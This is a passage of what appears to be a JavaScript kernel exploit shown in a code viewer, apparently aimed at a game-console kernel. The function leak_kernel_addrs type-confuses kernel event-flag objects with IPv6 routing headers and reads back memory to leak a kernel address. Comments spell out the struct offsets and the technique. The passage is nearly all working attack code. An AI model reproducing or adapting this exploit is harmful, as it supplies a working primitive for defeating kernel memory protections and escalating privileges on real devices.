(sd_pair)
| 818 | } |
| 819 | |
| 820 | function leak_kernel_addrs(sd_pair) { |
| 821 | close(sd_pair[1]); |
| 822 | const sd = sd_pair[0]; |
| 823 | const buf = new Buffer(0x80 * leak_len); |
| 824 | |
| 825 | // type confuse a struct evf with a struct ip6_rthdr. the flags of the evf |
| 826 | // must be set to >= 0xf00 in order to fully leak the contents of the rthdr |
| 827 | log('confuse evf with rthdr'); |
| 828 | let evf = null; |
| 829 | for (let i = 0; i < num_alias; i++) { |
| 830 | const evfs = []; |
| 831 | for (let i = 0; i < num_handles; i++) { |
| 832 | evfs.push(new_evf(0xf00 | i << 16)); |
| 833 | } |
| 834 | |
| 835 | get_rthdr(sd, buf, 0x80); |
| 836 | // for simplicity, we'll assume i < 2**16 |
| 837 | const flags32 = buf.read32(0); |
| 838 | evf = evfs[flags32 >>> 16]; |
| 839 | |
| 840 | set_evf_flags(evf, flags32 | 1); |
| 841 | get_rthdr(sd, buf, 0x80); |
| 842 | |
| 843 | if (buf.read32(0) === flags32 | 1) { |
| 844 | evfs.splice(flags32 >> 16, 1); |
| 845 | } else { |
| 846 | evf = null; |
| 847 | } |
| 848 | |
| 849 | for (const evf of evfs) { |
| 850 | free_evf(evf); |
| 851 | } |
| 852 | |
| 853 | if (evf !== null) { |
| 854 | log(`confused rthdr and evf at attempt: ${i}`); |
| 855 | break; |
| 856 | } |
| 857 | } |
| 858 | |
| 859 | if (evf === null) { |
| 860 | die('failed to confuse evf and rthdr'); |
| 861 | } |
| 862 | |
| 863 | set_evf_flags(evf, 0xff << 8); |
| 864 | get_rthdr(sd, buf, 0x80); |
| 865 | |
| 866 | // fields we use from evf (number before the field is the offset in hex): |
| 867 | // struct evf: |
| 868 | // 0 u64 flags |
| 869 | // 28 struct cv cv |
| 870 | // 38 TAILQ_HEAD(struct evf_waiter) waiters |
| 871 | |
| 872 | // evf.cv.cv_description = "evf cv" |
| 873 | // string is located at the kernel's mapped ELF file |
| 874 | const kernel_addr = buf.read64(0x28); |
| 875 | log(`"evf cv" string addr: ${kernel_addr}`); |
| 876 | // because of TAILQ_INIT(), we have: |
| 877 | // |
no test coverage detected